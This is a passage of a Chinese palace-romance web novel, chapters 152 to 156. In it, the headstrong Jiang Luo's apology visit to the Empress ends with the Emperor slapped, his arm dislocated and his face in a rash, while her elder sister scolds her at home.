“你说什么?”长案后,姜昀拧眉而视,平日里尔雅不凡的凤眸此刻寒意森森,多年的家主生涯令气势格外迫人,他望着面前的人,目光多了一抹审视。
赵咎提起一旁茶釜,将烧好的沸水注入水晶壶,趁着白浪翻滚不休,再拨入银针般的茶叶。
甘泉随茶叶舒展身姿而渐染绿意,雾气氤氲间,扩开满室幽香。
“当年秦州境内雪灾**,绑匪带走阿池,却不以她换取粮食马匹,而选择消失匿迹,这其中疑点重重,父亲难道从未想过?”
赵咎双手高举头顶,把茶盏奉至岳父跟前,看似姿态谦卑,可说出的话,字字都扎在姜昀心尖。
“如果我没记错的话,阿池丢失时只有三岁,而她被永安侯府收养,却是五六岁的事情。”
“父亲您说,一个女童,是怎么在这一年多的光景,随着流民来到盛京,又恰好被姜承祁看见?”
咔嚓——
长案一角被硬生生掰断。
木屑扎进掌心,渗出丝丝缕缕的血。
姜昀目光阴沉,当初绑匪狮子大开口,要万吨粮食和百匹良马作为交换,限十日内筹备齐全,才肯把女儿还回。
他心中怒火交加,却又不敢不应,毕竟爱女在他们手中。
然而,不等姜昀筹齐粮食马匹,对方就突然改变主意,混入流民之中,逃之夭夭。
姜昀名下部曲截杀了半数以上的绑匪,又抓了些活口逼问女儿下落。
可给出的答案各不相同。
他只能挨个去找。
那一年里,姜昀走遍十多个郡县,带着部曲剿杀近千土匪,却在最后发现线索中断。
当下形销骨立,大病一场。
任谁都没想到,姜璎会出现在盛京。
这件事,赵咎也是重生以后才发现的不对劲。
怎么就这么巧,姜璎出现在了姜承祁面前,而恰恰好,她同姜宝瑜有几分相似。
他派人暗查当年姜宝瑜灯会走失的细节,以及流落在外的经历,结果出乎意料。
什么都没有。
“我今日来,也是想问问父亲,天水姜氏,亦或者岳母大人那边,是不是有什么宿敌?”
赵咎决不允许任何威胁到姜璎安危的人或事,存在这个世上。
以防万一,他必须把危险扼杀摇篮。
姜昀皱眉,要说宿敌,那可多了去了,但要说有能力策划这一切而瞒天过海的…倒是屈指可数。
心下已然有了决断。
在事情尚未明朗前,一切还是以姜璎安危为重。
前梁皇室培养的暗卫这些年也一直在找小主人,姜昀准备将他们全都留在女儿身边。
翁婿俩商量了许久。
直至茶水温凉。
谈话接近尾声。
姜昀倒是对赵咎改观不少,沉吟道:“还有件事。”
赵咎恭敬道:“父亲请说。”
姜昀淡淡一笑,“我欲送姜珞入宫,你同陛下感情深厚,到时候,还得劳你多上心。”
谁?
他那脑子不太好使的妻妹?
赵咎眼皮一跳,想推脱:“父亲,这不太好吧…”姜珞进宫能干什么?跟梁皇后互扇巴掌吗?
不对——
脑海一闪而过白光。
赵咎霍然抬眸,定定地看着姜昀。
他这个老谋深算的岳父,不可能不知道明惠帝和梁皇后之间的爱恨纠葛。
尤其是梁皇后如今有孕,姜珞就算进宫也只会落个坐冷板凳的结果。
赔本的买卖,姜昀会做?
“父亲…”赵咎不由苦笑一声,“您这不是故意逼我,破坏陛下和皇后之间的夫妻情分吗?”
姜昀但笑不语。
破坏夫妻情分?那也得他们有!
明惠帝对梁皇后有情分,但反过来,可就未必了。
“我也是心疼陛下,将将弱冠之年,才有第一个子嗣。”姜昀语气颇为感慨,“这夫妻之间,小吵怡情,大吵伤身呐。”
赵咎颔首:“父亲说的是。”
姜昀起身,轻轻拍了拍他肩头,“我明日就要动身出发,离京赴任,到时候,姜珞就交给你和阿池了。”
这个女儿享受了天水姜氏的供养,总该为家族和她的姐姐做点什么才是。
赵咎摩挲着杯身,斟酌再三,道:“父亲放心。”
皇后非良人,与其让明惠帝一痛再痛、深受煎熬,还不如快刀斩乱麻,刮骨
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去毒。
而姜珞……
或许不失为一剂良药。
翁婿俩在对视之中达成了共识。
“爹爹。”
姜璎走进来,“您明日回秦州,行李什么的可都收拾齐全了?”
姜昀笑道:“这些小事,自有下人操心,倒是有件事…”他目光落在姜璎身后。
姜珞吸了吸鼻子,未有察觉。
姜昀见她如此蠢傻,颇为头疼,真不知道他那妻妹兼表妹是怎么想出来,让姜珞去做宠妃乃至皇后的。
“阿池,你们夫妻明日带姜珞进宫,给陛下皇后赔个不是。”他发话道。
这是明面上的说辞。
姜昀并不准备让女儿知道他们的打算。
他看了一眼姜珞,语气温和,却又含着警醒,“陛下和皇后都是仁善宽和之人,你好好认个错,切记日后不可再鲁莽行事。”
“爹爹?”姜璎面露迟疑,总觉得哪里不对,但具体又说不上来。
倒是姜珞一口答应。
姨母早就安排好了,该怎么做,她心里都有数!
翌日一早,天水姜氏的牛车停在了卫国公府大门口,萧止柔拨了拨姜珞额前碎发,和声道:“其他我就不说了,只一点,你要记住,不能走漏马脚,让阿池知道。”
姜珞点点头。
姐姐要是知道的话,说不定得罚她抄上一百遍族谱。
哎。
她还是努努力,看看怎么勾引皇帝吧!
说不定等她做了皇后,就能少抄几遍族谱了。
姜珞斗志昂扬地走进卫国公府,正好姜璎也走出来,“你做什么呢?下巴都抬到天上去了。”
赵咎没忍住扭过头笑。
姜珞悻悻然道:“我这不是、给自己打气嘛。”
姜璎松了松眉,“还打气呢,你这走出去,别人都以为是要打架。”
姜珞不敢反驳,她倒是想跟梁皇后干架,这不是姐姐不让吗?
一行三人入宫,先去拜见赵太后,姜璎估摸着时辰差不多,准备领姜珞去给梁皇后赔礼道歉。
“还是让郑女官领她去吧,”赵咎微微倾身,耳语道,“省的人家看见我们不高兴,到时候动了胎气还得赖上我们。”
第152章 公主
赵咎的话不无道理。
他毕竟是外男,又一向遭梁皇后厌恶,一同过去赔罪说不定还要多生事端。
但让姜璎也别去…
这一点,就有些耐人寻味了。
姜璎看了他一眼,姜珞大大咧咧道:“我自己闯出来的祸,我自己去赔罪。姐姐,你就放心吧,我不会把事情搞砸的。”
姜璎:“……”
这话听着都很难让人放心好吗?
姜珞发现了姐姐眼中隐含担忧,想了想,学着记忆里母亲哄姐姐的模样,捧起姜璎的脸蛋,在姜璎惊恐的神情,以及赵咎骤然收缩的瞳孔中,用力地亲了姐姐脸颊一口。
“啵——”的一声,分外清脆。
好似瞭望台上的昏君,“爱妃等着瞧,朕这就为你打下江山”,姜珞信誓旦旦,“姐姐,我很快回来的,你不用担心!”
“郑女官,麻烦你带路。”
“哦、哦!”郑女官回过神来,低着头抹了一把额上并不存在的冷汗,“姜二姑娘,这边走。”
姜璎捂着脸,气得面红耳赤。
“她,她…你看她这样子…”
知道的是去赔礼道歉,不知道的,还以为是去巡视领地!
赵咎扒开姜璎的手,让人拧了块帕子,将脸蛋擦拭得仔仔细细、干干净净,饶是如此,杏眸依旧带着些许恼意。
“真是吃了熊心豹子胆了她!”
“行了行了…”姜璎拉了拉他衣袖,小声道:“快别嚷嚷了,这又不是什么光彩的事儿。”
赵咎冷笑一声。
这个小蠢蛋最好祈祷自己能顺利当上皇后。
要不然……
“阿嘁!”
姜珞打了个喷嚏,揉了揉鼻子想,难道昨晚上着凉了?不应该啊,姨母昨儿还夸她壮得像头牛。
“姜二姑娘,一会儿面见皇后娘娘,可不能这样失礼了。”郑女官提醒道。
姜珞一只耳朵进,一只耳朵出,敷衍道:“嗯嗯、知道了。”
她在郑女官的带领下走进椒房宫,梁皇后端坐上头,一身月白素服,姜珞只看了一眼便收回目光,心里嫌弃得不行。
堂堂皇后,穿这么素。
知道的说节俭,不知道的,还以为给谁守孝呢!
“臣女参见皇后娘娘,皇后娘娘千岁千千岁。”姜珞或许学识浅薄,但在礼仪上,绝对挑不出一点毛病。
哪怕梁皇后故意不作声,让她长时间维持这一个动作,她也依旧跪拜端正,姿仪恭谨。
高门贵女的礼仪可是自幼学起,刻在骨子里的。
姜珞从四岁开始,便跟着女师学习,三伏天身着深衣曲裾,一遍又一遍重复各种揖礼祭礼,既不能出丁点儿错,还要防止汗水将脸上的妆容弄花,什么时候女师认可,才能休息。
梁皇后想用这点伎俩刁难她?
想屁吃呢!
“起来吧。”上头终于传来声音。
梁皇后面色淡淡,是一贯的目下无尘、冷美人模样。倒是她身边站着的宫女,双目如喷火,死死盯着姜珞。
龚云菲这两日可没少在梁皇后耳边说姜珞坏话,本以为这辈子都出不了那口恶气,没想到,这个小贱蹄子竟然过来赔礼道歉了。
看着姜珞毕恭毕敬跪在地上,龚云菲心头畅快得不行!
哼。
什么天水姜氏,豪门望族。
再厉害也不过就是个臣下。
她表姐可是先帝亲封的太子妃,陛下的心肝肉!如今又怀有身孕,料那姜昀也不敢真的得罪梁皇后!
姜珞得了允许,才缓缓起身。
她脸上扬起一抹甜甜的笑容,“皇后娘娘,前两日冒犯了您的表妹,家父已经训斥过臣女了,还请您不要放在心上。”
郑女官暗自皱眉。
果不其然,龚云菲冷笑一声,“姜珞,你这是认错的态度吗?还指使起皇后娘娘来了?”
“小四!”梁皇后语气不轻不重,“不许无礼。”
“龚姑娘,你是不是听错了?我什么时候指使皇后娘娘了?”
姜珞眨巴眨巴眼睛,心中越发鄙夷,真是什么暴发户都能当皇后,连带着家里的阿猫阿狗都穿上衣服出来献丑。
她一脸认真道:“我只是请皇后娘娘不要放在心上,毕竟怀有身孕,不能动气,难道不对吗?难道你非要皇后娘娘为这点小事耿耿于怀,才肯满意?”
“我……”龚云菲噎了一下,随即恼怒道,“你那日的嚣张跋扈呢?有本事拿出来!少在这里装模作样!”
姜珞心想我才不傻,难道还白白给你们送把柄啊?
“龚姑娘!”她义正严辞道,“我当时不知道,你虽为宫女,却贵比公主,所以才用对家里下人的态度待你,并非故意为之,也并非对皇后娘娘不敬。”
说罢,又朝梁皇后行了一个跪拜之礼。
“皇后娘娘,臣女知错,要打要罚,悉听尊便,臣女绝无半句怨言!”
梁皇后眼中一闪而过冷意。
要打要罚,悉听尊便?
嘴上说绝无怨言,其实是有恃无恐,拿捏自己不敢真的处置她。
“既然你诚心悔过,那就去外头跪着吧。”梁皇后淡淡道,侧目看向一旁,“郑女官盯着些,左不过一盏茶的功夫,正好让姜二姑娘静静心。”
才
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一盏茶。
龚云菲撅了撅嘴,不太满意。
要她说,就该跪上两三个时辰!要不怎么算教训?!
姜珞欣然领罚,脸上毫无半点不情愿。她微微低头,起身往外走。
郑女官跟在她身边,叹了口气。
“二姑娘何必争一时意气?”
一盏茶的功夫,怕是姜昀在这儿都说不了什么。
毕竟,谁让姜珞顶嘴在先呢?
“多谢郑女官好意,不过,只要能让皇后娘娘心里舒坦,我做什么都可以。”
姜珞可不像梁皇后,她要跪就跪的坦荡端正,目光清明,神情自若。
乍一眼看,不像受罚,倒像**。
郑女官无奈摇头。
“这是做什么?”远远响起一道声音,姜珞偏头望去,就见一个俊雅温润的青年走来,身后跟着乌泱泱一群宫人。
郑女官低声解释了来由。
明惠帝微微皱眉,看向姜珞。
正巧姜珞也睁圆了眼睛看他,漂亮如宝石的猫眼带着一点好奇,像是涉世未深的幼兽。
明惠帝忍俊不禁,温和道:“原来是姜卿的女儿,你这脾气确实得改改了…”
姜珞听到这种说教的话就烦,打断道:“阿父已经训斥过臣女,臣女也知道错了。”
她嘟囔道:“我要是知道皇后娘娘的表妹贵比公主,我肯定就不用对待奴仆的态度对她了呀。”
明惠帝愣了一下,“什么?”
姜珞理直气壮道:“其实也不能怪我对吧?皇后娘娘赐下宫女的时候,可是让她们来伺候我姐姐姐夫的,结果混了个表妹进去,什么活也不干,还嚷嚷着要做平妻,又当着我的面对我姐姐不敬,那我哪儿忍得了?陛下您说呢?”
明惠帝下意识点头。
姜珞面露满意,虽然是跪着的,但一点儿也不影响她使唤人。
“陛下,您能不能跟皇后娘娘打个商量?既然龚姑娘贵比公主,就不要把她放出来了呀,要不就干脆封个公主,省的下次再碰上我这样不长眼的,冒犯了贵主……”
“等等、等等!”明惠帝没忍住道,“谁贵比公主?龚四?”
开什么玩笑!
他差点爆粗口。
姜珞眨了下眼睛,“就是皇后娘娘的表妹啊,你不知道啊?我刚才在殿内反省自己,皇后娘娘和龚姑娘都没有反驳啊。不信你问郑女官!”
郑女官神情严肃地点了下头。
明惠帝面色顿时难看得不行。
他拉了一把姜珞,“行了别跪了,跟我进去。”
他倒要问问清楚,这梁家龚家是不是出了一窝的皇子公主!
第153章 打脸
姜珞跟着明惠帝一起进去,梁皇后已经得到消息,起身相迎。
“臣妾拜见陛下。”
她微微低首,只行了简单的长揖礼,甚至腰板都没有弯下多少。
姜珞不由玩味一笑。
梁皇后还等着明惠帝过来扶起她的胳膊。
明惠帝一向温柔体贴,从来舍不得让她行叩拜大礼。
梁皇后也早就习惯这份宽容宠爱,甚至连表面功夫都懒得做。
然而,这次明惠帝却并未如往常一般上前。
没有殷切搀扶,也没有温柔关怀。
他只站在原地,冷冷地盯着她们。
没错,是她们。
“皇后身子不便,不必多礼。”
“小四,倒是你,身为宫女,规矩都学到哪里去了?”
龚云菲同梁皇后一般,只随意屈了屈膝,蓦地遭受责问,一时半会都没反应过来。
她慌忙跪了下去,双手交叠额前,“云菲拜见陛下,陛下万岁万岁万万岁…”
明惠帝皱了皱眉,唤道:“郑女官,你来教教她怎么行礼。”
郑女官上前一步,对着明惠帝跪拜道:“奴婢拜见陛下,陛下万岁万岁万万岁。”
明惠帝看向龚云菲,她一脸呆愣,像是没想到平日里一口一个叫“姐夫”的人,会这样苛刻。
她,她可是梁皇后的表妹,怎么能和普通宫人一个待遇?!
明惠帝道:“怎么,还没有听清吗?”
龚云菲眼眶红了一圈,“奴婢”二字堵在喉咙,怎么都说不出口。
龚云菲自打入宫,可没少仗着身份在宫人面前耀武扬威,如今要她亲口承认自己就是一个“奴婢”,这比杀了她还要难受!
尤其是现在,姜珞就站在明惠帝身边。
眉眼弯弯、满是嘲笑地看着她。
“够了!”
梁皇后没想到明惠帝一进来就是发难,甚至还一而再再而三地咄咄逼人!
“不过就是些许小事,陛下从前不在意,现在倒是斤斤计较起来。”她声音冰冷,目光充斥着一股敌意,落在姜珞身上。
“莫不是臣妾所为,让赵九郎的妻妹受了委屈,所以陛下心里不痛快?”
明惠帝瞠目结舌。
“在你心里,我就是这种蛮不讲理的人?”他心口钝痛,声线不稳,定定地望着梁皇后。
企图在她脸上找出一丝动摇。
梁皇后冷笑一声,没有说话,但意思很明显。
难道不是吗?
宫里宫外,还有谁不知道明惠帝偏爱赵咎?
他甚至为了帮赵咎讨好老丈人,在马场上当众让她父亲没脸!
她父亲好歹也是国丈,是明惠帝的长辈!
他口口声声爱她,却连她父亲都不尊敬,这算什么爱?
新仇旧恨加在一块。
梁皇后只让姜珞在外头跪一刻钟,已经足够仁慈了!
明惠帝看着她满是仇恨的目光,心脏钝痛,如鲠在喉。
就在这时,一道声音插了进来。
“皇后娘娘,您误会陛下了。陛下只是好奇我说的话,所以才进来问个清楚。”
姜珞一脸天真无邪,“皇后娘娘放心,等事情说清楚了,我立马去外头跪着,绝对把时间跪足了!”
梁皇后眼中一闪而过厌烦,“本宫和陛下说话,有你什么事儿?”
明惠帝道:“姜珞进宫赔罪,你身为皇后,怎么惩戒是你的事。我只问一句,是谁——贵比公主?”
龚云菲心肝一颤,整个人匍匐在地。
她虽然心里是这么想,但还没有嚣张到随处嚷嚷的地步。
梁皇后冷笑道:“这话出自姜二姑娘之口,陛下应该问她才对。”
姜珞甜甜一笑,“是臣女所说不假,但皇后娘娘和龚四姑娘也不曾反驳呀。”
“臣女惶恐,才想向陛下问个究竟,这到底该以何种态度对待皇后娘娘身边的宫女好呢?毕竟臣女可没什么眼力见,没法透过宫女的衣裳,看穿龚四姑娘贵重的身份。”
“你胡说八道!”龚云菲没忍住抬起头,神情愤慨,“我早说了我是皇后娘娘的表妹,你还敢打我!你这个——”
**二字还未说出口。
姜珞撇了撇嘴,“那皇后娘娘也说了,赐下宫人是服侍我姐姐姐夫的。合着是场面话啊。”
梁皇后气得不轻,“你!”
明惠帝下意识要过去扶她,但
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姜珞忽然喊了一声“陛下!”,柔嫩的双手紧紧抓住明惠帝手臂。
将他往身前一拽。
“啪——”
清脆的一声。
简直不要太神清气爽!
龚云菲的手还停留在半空。
掌心火辣辣的疼,与此同时,明惠帝的脸颊浮现出一个鲜明五指印子。
“姐夫,我不是故……”
“陛下,我不是故意的。”姜珞眨了眨眼睛,可怜巴巴道,“我只是太害怕了。”
她可是要做皇后的,怎么能毁容呢?
郑女官看着明惠帝长大,见他挨巴掌,心疼得不行,“陛下,快、快传太医!”
龚云菲吓得不轻,下意识求助梁皇后。
她是为了帮表姐出气,才没忍住爬起来教训姜珞。
她不知道明惠帝会挡在姜珞身前。
“陛下。”
梁皇后说不出柔软的话,语气硬邦邦,“小四确实放肆,臣妾一定会好好管教她。但贵比公主这样的话,不过是姜二姑娘的片面之词,还请陛下明鉴。”
明惠帝耳膜嗡嗡作响。
这一巴掌,将他彻底打清醒了。
龚云菲当着他的面都敢仗势行凶,那要是他看不见的地方呢?
梁家、龚家、甚至常家!
一个个仗着有梁皇后做靠山,横行乡里、鱼肉百姓!
“我看不是片面之词。”
明惠帝抬起手制止了郑女官的呼唤,嘴角扯动间,疼得他轻轻吸气,“皇后的表妹,眼里毫无尊卑,连我都敢打。这哪里是贵比公主?分明是跟太后平起平坐!”
龚云菲扑通一声跪了下去,哭着道:“陛下恕罪,奴婢不是有意的……”
梁皇后面色难看至极。
“陛下,小四不是有意的,她只是一时冲动。”
“拖下去。”明惠帝冷冷道,“让龚家领走,永世不许入京。”
一声令下,龚云菲甚至没有机会哭着哀求。
就被堵了嘴,拖下去。
梁皇后又惊又怒。
“高忱!你、你要这样打我的脸?”
明惠帝深深看了她一眼,眼底藏着哀痛。
他轻声道:“是你在打我的脸。”
第154章 要饭
龚云菲的那一记耳光根本没收力,就是存了让姜珞破相的报复心理去的。
明惠帝指了指自己脸上的鲜红指印,“你说我偏心阿劫,那你呢?扪心自问,你没有偏心你的娘家人?
龚四以下犯上,打得是皇帝,也是你的夫君。可你一句心疼的话没有,张口就是替她求情。”
说到这,他扯了扯嘴角,语气带了几分嘲弄。
“贵比公主这句话哪里还用挂在嘴边?分明都已经体现在方方面面。”
梁皇后咬了咬唇,一脸的倔强:“小四只是一个被宠坏的小姑娘。臣妾要是不替她求情,还有谁会护着她?”
顿了顿,她怨气十足道:“毕竟陛下连当众让臣妾父亲没脸的事儿都能做得出来,臣妾也不能指望你对小四宽容。”
这句话彻底捅了马蜂窝。
“我对她还不够宽容吗?!”明惠帝咬牙质问,字字句句,都藏着锥心刺骨的痛,“掌掴皇帝,这种大不敬的罪名,便是赐死都足够!”
“你还要我怎么做?亲自扶起她说打得好?还是安慰嘉奖,让她不要放心上?”
这些年积攒的委屈一下子爆发出来。
他不明白,为什么她只看得见他对赵咎的偏心,难道他对她不够好?做的还不够多?
“你说我偏心阿劫,我要是偏心他,就该把常六活活打死,再五马分尸!”明惠帝怒声道。
“常六在卫国公父子回京路上设下埋伏,害阿劫重伤,这笔账,我要不是看在你的面子,我早就跟他们清算了!”
梁皇后咬牙道:“没有证据,你凭什么说是常六做的?”
明惠帝冷笑道:“没有证据可以查!你敢让我查吗?”
“还有,我为什么当众让你父亲没脸?那是因为他先让阿劫没脸!”
梁皇后道:“我父亲好歹也是长辈,你这个做女婿的……”
“我这个做女婿的,是不是还得给岳父大人磕一个以示尊敬才行?”
梁皇后被堵的说不出话,面色青白。
她早就习惯了明惠帝对她百依百顺,就算偶尔吵架冷战,明惠帝也会眼巴巴过来求和。
可以说,他们之间从来没有一次,像现在这样闹得激烈难堪!
就连她前几日赐下宫女,明惠帝都没有发这么大的火。
梁皇后忍不住红了眼眶。
“你非要这么咄咄逼人,是吗?”
明惠帝最怕她哭,看见她强忍着不让眼泪掉下来,就好像有一泼冷水自头顶浇下,满腔怒火被浇得半点不剩。
椒房宫的宫人们暗暗观察着,见明惠帝没有说话,不由松了口气。
他们就说嘛!
没有什么事是皇后娘娘掉两滴眼泪解决不了的!
明惠帝心头有了松动,下意识怀疑自己是不是说的太过分。
忽然手臂被狠狠拽了一下!
力道之大。
像是要把他整条胳膊都给扯下来。
顿时疼痛直达天灵盖。
他面容扭曲,看向身后的罪魁祸首。
姜珞一脸理直气壮,“陛下,你得一碗水端平才行!梁大人是你岳父,那我姐夫还是你小舅呢!你给梁大人磕完,记得给我姐姐姐夫也磕一个,还有卫国公,卫国公世子、世子夫人……”
人名一个接一个,跟串糖葫芦似的。
“停停停!”明惠帝头疼得不行,没好气道,“我是不是还得给你磕一个?”
姜珞眼睛一亮,虚荣心得到了满足,美滋滋道:“也不是不行,按照辈分算,我也是你长辈呢!”
明惠帝:“……你想得美!”
小气鬼!
姜珞立马翻脸,重重甩开他的手。
只听见咔嚓一声。
明惠帝眼神流露惊恐。
“太医!”
这下没人阻止郑女官的疾呼了。
赵咎和姜璎赶到时,正好看见姜珞数落明惠帝。
“你这骨头也太脆了,说脱臼就脱臼,我都还没用力呢!你是不是平时从不锻炼身体的?”
“对了,一会儿可不能跟我姐姐告状啊,还有你,叫邢医官还是林医官来着?”
“动作麻利点,我姐姐他们马上就来了!”
刑如风一边“是是是”“好好好”,一边麻溜地动手。
“啊——”
惨叫声响起。
刑如风道:“好了好了!恢复原位了!”
明惠帝疼得眼尾渗出泪水。
老天爷。
他为什么要遭这个罪……<
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br>“哭什么哭?你还有脸哭!”姜珞生气道,她的勾引计划半路夭折,全怪明惠帝,“福气都被你哭没了!”
“我没哭……”
“没哭你眼睛流的什么?琼浆玉液?”
明惠帝哽住。
干脆破罐子破摔。
“是,我哭会儿怎么了?我都这么惨了,还不允许我哭吗?”
他低下头,越说越难过,一时悲从中来。
“我对她还不够好吗?成亲好几年,就是块冰,也该捂化了。”
“但凡她把对娘家人的关心,分一点给我……”
刑如风噗地一声笑出来。
姜珞捧着肚子乐不可支。
明惠帝恼羞成怒,“笑什么笑!你们两个,一点也不懂爱!”
还是阿劫好。
从来都不笑他。
刑如风摆摆手,“不笑了不笑了。”
姜珞不以为意,“你自己像要饭的,还不让人笑了。”
明惠帝:“???”
“你说谁是要饭的!”
“除了你还有谁?”姜珞拽了一下刑如风,“你说,他像不像要饭的。”
她捏着嗓子模仿,“但凡她把对娘家人的关心分一点给我~”
说完没忍住捧着肚子哈哈大笑。
刑如风要笑抽过去了,“陛下,她还小,童言无忌、童言无忌!”
明惠帝捂着眼睛,抽了抽鼻子,“你们不懂……”
刑如风是不太懂。
赵咎也就算了,好歹姜璎眼里心里都有他。
但明惠帝图啥呀。
图热脸贴冷屁股?
“你喜欢皇后什么呀?”姜珞问出了刑如风一直很想知道的问题,她漫不经心道,“你喜欢她,还不如喜欢我姐姐呢。”
在姜珞看来,梁皇后从头到脚,就没有一处地方是拿得出手的。
“都说外甥像舅,你的眼光怎么一点儿也不像我姐夫?”
“我要是像你姐夫一样也喜欢你姐姐,你姐夫能用眼泪把皇宫淹了。”明惠帝无语道。
“还真是。”刑如风哈哈大笑,“到时候水漫金山,皇宫变龙宫!”
姜珞浑不在意道:“那你喜欢我好了,我肯定不站我表妹那边儿。”
反正她也没表妹。
第155章 触动
“姜、珞。”
熟悉的声音响起,姜珞就跟被踩了尾巴的猫似的,差点尖叫出声。
明惠帝亲眼见证什么叫变脸的速度。
那双漂亮明媚的猫眼一下子睁圆了,目光闪躲,明晃晃地透出一股“姐姐怎么来这么快”的紧张。
她站直了身体,双手交叠身前,笑容灿烂到可以用谄媚来形容。
“姐姐、姐夫。我给皇后娘娘和龚四姑娘赔礼道歉了,也罚跪了,就是中途出了一点小波折…”
这个小波折忽略不计,姜珞着重强调前面,“龚四姑娘要打我,还好陛下心善,替我挡了一下。要不然,要不然我就见不到姐姐了呜。”
她说的可怜巴巴。
真是闻者伤心、见者落泪。
明惠帝眼中隐隐浮现泪花。
挨了巴掌的脸颊到现在都还泛着火辣辣的疼。
他只能强行安慰自己:虽然不是自愿的,但好歹也换了顶“心善”的高帽。
不亏,不亏。
不亏个屁!
明惠帝指着姜珞,跟姜璎告状:“她还把我胳膊拽脱臼了!”
疼死他了!疼死他了!
赵咎听出了潜台词,默默别过脸。
邢如风打圆场道:“现在已经没事了。”
两人内心不约而同。
——该!
他要不往梁皇后跟前凑,什么事儿都没有。
现在好了吧,又挨巴掌又脱臼的。
疼死他得了。
省的不长记性!
“姜珞。”
姜珞一听这声音就知道要遭,顾不得跟明惠帝算账,她忙扑通一声跪了下去,大声道:“姐姐我知道错了!”
姜璎:“……”
“我真不是故意的,我当时害怕呀,那个龚四好凶好凶,又有皇后娘娘护着。我什么也没有,说句公道话,还要被人骂…”
姜珞呜呜哭,大颗大颗的眼泪滚下来。
又可怜又委屈。
姜璎是习惯了,赵咎则是看出这眼泪成分演技多过真心,夫妻俩都板着脸没说话。
反倒是明惠帝,被姜珞的眼泪惊得手足无措。
他原本只想吓吓小姑娘。
没想真的把她弄哭的…
“好了好了,我开玩笑呢。”明惠帝赶忙道。
姜珞偷偷看了眼姐姐,见她不吭声,瘪了瘪嘴,也不敢起来。
明惠帝见状,心想真看不出来啊,姜璎私底下竟然这么凶……姜珞没她发话不敢动,赵咎也眼观鼻鼻观心。
哎,这才是一家之主啊。
明惠帝羡慕得不行。
“快起来快起来。”他亲自扶起姜珞,温热的眼泪砸在手背,灼热感顺着皮肤渗进脉络,令他身体微僵。
造孽哦。
他好端端的,干嘛跟个小姑娘过不去。
这不是禽兽嘛!
姜珞吸了吸鼻子,鼻尖通红,眼眶也通红。
“对不起,我不是故意的……”她小声道,说完还不忘怯生生地看一眼姜璎。
明明是明惠帝自己身娇体弱!
他竟然还在姐姐面前陷害她!
可恶!
明惠帝不知道姜珞在心里骂他。
他为这声道歉而感到内疚。
“没事没事,你也不是故意的。”他甚至主动为姜珞找理由,“当时那场面,你害怕也很正常,毕竟孤立无援…”
姜珞没想到明惠帝这么上道。
“陛下,真的不怪我嘛?”
“不怪你、不怪你。别哭了啊。”明惠帝给了她一块帕子,又咳了一声,对姜璎道,“姜二姑娘难得入宫一趟,还受了惊吓,朕心里实在过意不去,这才开个玩笑逗逗她。你们回去之后,千万别怪她。”
姜珞心想:这听着还算句人话,
“姐姐…姐夫…”她可怜巴巴,赵咎是**呐?他外甥好歹还帮她说话,他就光站着,连个屁也不放!
姜璎得了明惠帝的吩咐,才面色稍稍缓和,行礼道:“谢陛下宽宏大量。舍妹不懂事,给您和皇后娘娘添麻烦了。”
姜珞像个跟屁虫,姐姐说什么她就说什么,低着头道:“谢陛下宽宏大量,我给您和皇后娘娘添麻烦了。”
明惠帝就是个记吃不记打的。
见姜珞这样,哪里还想得起来胳膊脱臼的痛。
他忍不住笑,“行了行了,把眼泪擦擦,跟你姐姐姐夫回去吧。”
哭得跟个小花猫似的。
还大言不惭让他喜欢她。
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姜璎恭敬行了礼,这才领着姜珞退下。
赵咎慢了一步,回头看了明惠帝一眼。
明惠帝可怜巴巴,指了指脸,又指了指胳膊。
赵咎撇撇嘴,示意他擦点药。
明惠帝哭哭脸,他还要去赵太后那给梁皇后收拾烂摊子。
郑女官早就去通风报信了。
以赵太后的性子,知道这事儿,肯定不会放过梁皇后的。
她怀了身孕,不能罚跪。
但磋磨人的法子不见得只有罚跪一种。
明惠帝虽然对妻子失望透顶,但内心终归还是期待这个来之不易的孩子。
赵咎无话可说。
他摆摆手,先走了。
邢如风一看,不行啊,留他一个在这,到时候又听明惠帝大吐苦水。
他也赶忙找了个借口,溜之大吉。
一出去,赵咎就把他扯到一边。
“你往擦脸的伤药里加点东西,让他起两天红疹。”
“?”
“省的皇后一叫他就过去。”
“妙啊!”邢如风恍然大悟,给赵咎竖了个大拇指。
明惠帝也是要面子的,要是全身都起了红疹子,他估计自己都抑郁了,除了上朝哪里都不想去。
上朝还能用冪蓠遮盖。
他去见梁皇后,总不能还戴冪蓠吧?
说干就干。
姜珞被拎到蓼莪院抄族谱的时候,明惠帝敷上了药。
姜珞哭唧唧说姐姐“抗旨不尊”的时候,明惠帝药效发作。
姜珞被姐姐姐夫联合**的时候,明惠帝开始全身发痒,脸肿了一圈。
“哎呀完了!”邢如风面露惊恐,“我忘了那个伤药效果好是好,但对你这种细皮嫩肉的人来说,有过敏的风险!”
明惠帝:“……”
心嘎巴一下就**。
“湛奴,湛奴你别死啊!”邢如风疯狂摇他肩膀,“不就丑两天吗,两天以后,肯定会消下去的!”
“你信我!我是华佗再世啊!”
“我信你还不如信我自己是尧帝转世!”
明惠帝气得不行,但气也没办法。
至于梁皇后那边,谁爱管谁管吧。
反正他是没那个精力了。
第156章 策划
月如弯钩,斜挂梢头。
万籁俱寂的夜晚,所有人都沉睡梦乡,唯独蓼莪院灯火通明。书房里,更是不间断地发出几声抽噎。
“高忱都、让你们别怪我了,你们还要我抄、抄族谱。”
姜珞哭得很伤心,挨了戒尺的手心通红一片,握笔都手抖,还要一字不差、端端正正地抄写族谱。
姜璎微微皱眉,声音带了些许恼意,“陛下的名讳也是你能喊的?”
“今夜不许睡了,什么时候抄完族谱,什么时候休息!”
姜珞瘪了瘪嘴,不服气道:“皇后都喊,我为什么不能喊?”
“你还顶嘴?”
赵咎没拦住,姜璎走过来,气得直戳她脑门。
“你也知道那是皇后,她能喊,是因为她是陛下的妻子!你呢?你再口出狂言一个试试?”
“今日当着陛下的面,我都没好意思教训你。你想想你自己说的什么话?得亏陛下宽宏大量,否则,怎么也得治你一个大不敬之罪!”
姜珞缩了缩脑袋。
表情还有些不服气。
她又没说错!梁皇后本来就处处不如姐姐,高忱也是,跟个要饭的一样,一个大男人哭哭啼啼,没出息!要她说,高忱配她,还差了点呢!
香薷提了个食盒进来,热乎乎的雪耳粥,香气浓郁。
“咕、咕咕…”
姜珞捂着肚子,羞愤交加,又可怜巴巴地看着姜璎,“姐姐…”
“饿着!”姜璎余怒未消。
让她进宫赔礼道歉,她倒好,让明惠帝挨了个大耳刮子不说,又把人胳膊拽脱臼了,事后还嘲笑人家是要饭的!甚至大言不惭让明惠帝别喜欢梁皇后,喜欢她?!
姜璎回想起来就忍不住眼前一黑。
